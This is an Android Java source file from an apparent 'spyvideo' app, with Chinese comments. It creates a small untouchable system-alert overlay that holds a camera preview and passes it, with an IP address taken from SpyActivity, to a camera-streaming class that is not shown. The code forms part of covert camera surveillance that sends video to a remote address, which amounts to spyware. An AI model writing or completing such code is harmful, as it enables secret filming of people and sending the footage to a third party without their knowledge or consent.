package com.spyvideo;

import android.annotation.TargetApi;

import android.content.Context;

import android.view.SurfaceHolder;

import android.view.SurfaceView;

import android.view.WindowManager;

public class FloatSurface {

private static WindowManager wm;

private static WindowManager.LayoutParams params;

private CameraPreview cameraPreview;

private Context context;

private SetCamera setCamera;

//public static String ip = "192.168.0.58";

public FloatSurface(Context context) {

super();

this.context = context;

setCamera=new SetCamera();

}

public void floatView() {

wm = (WindowManager) context.getSystemService(Context.WINDOW_SERVICE);

params = new WindowManager.LayoutParams();

System.out.println("进入悬浮窗!!!!!!!!");

/*

* 如果设置为params.type = WindowManager.LayoutParams.TYPE_PHONE; 那么优先级会降低一些,

* 即拉下通知栏不可见

*/

params.type = WindowManager.LayoutParams.TYPE_SYSTEM_ALERT;

//params.format = PixelFormat.RGBA_8888; // 设置图片格式，效果为背景透明

/*

* 下面的flags属性的效果形同“锁定”。 悬浮窗不可触摸，不接受任何事件,同时不影响后面的事件响应。

*/

params.flags = WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL

| WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE

| WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE;

// params.flags = WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL

// | WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE;

// 设置悬浮窗的长得宽

params.width = 100;

params.height = 100;

cameraPreview = new CameraPreview(context);

wm.addView(cameraPreview, params);

}

// 预览界面CameraPreview

@TargetApi(9)

class CameraPreview extends SurfaceView implements SurfaceHolder.Callback {

SurfaceHolder surfaceHolder;

public CameraPreview(Context context) {

super(context);

System.out.println("进入CameraPreview!!!!!!!!");

surfaceHolder = getHolder();

surfaceHolder.addCallback(this);

// mHolder.setType(SurfaceHolder.SURFACE_TYPE_PUSH_BUFFERS); // 4.0+

// auto

}

public void surfaceCreated(SurfaceHolder holder) {

try {

setCamera.setup(holder, SpyActivity.ip);

System.out.println("setCamera is setuped");

} catch (Exception e) {

}

setCamera.start();

}

public void surfaceDestroyed(SurfaceHolder holder) {

setCamera.stop();

}

public void surfaceChanged(SurfaceHolder holder, int format, int width,

int height) {

}

}

}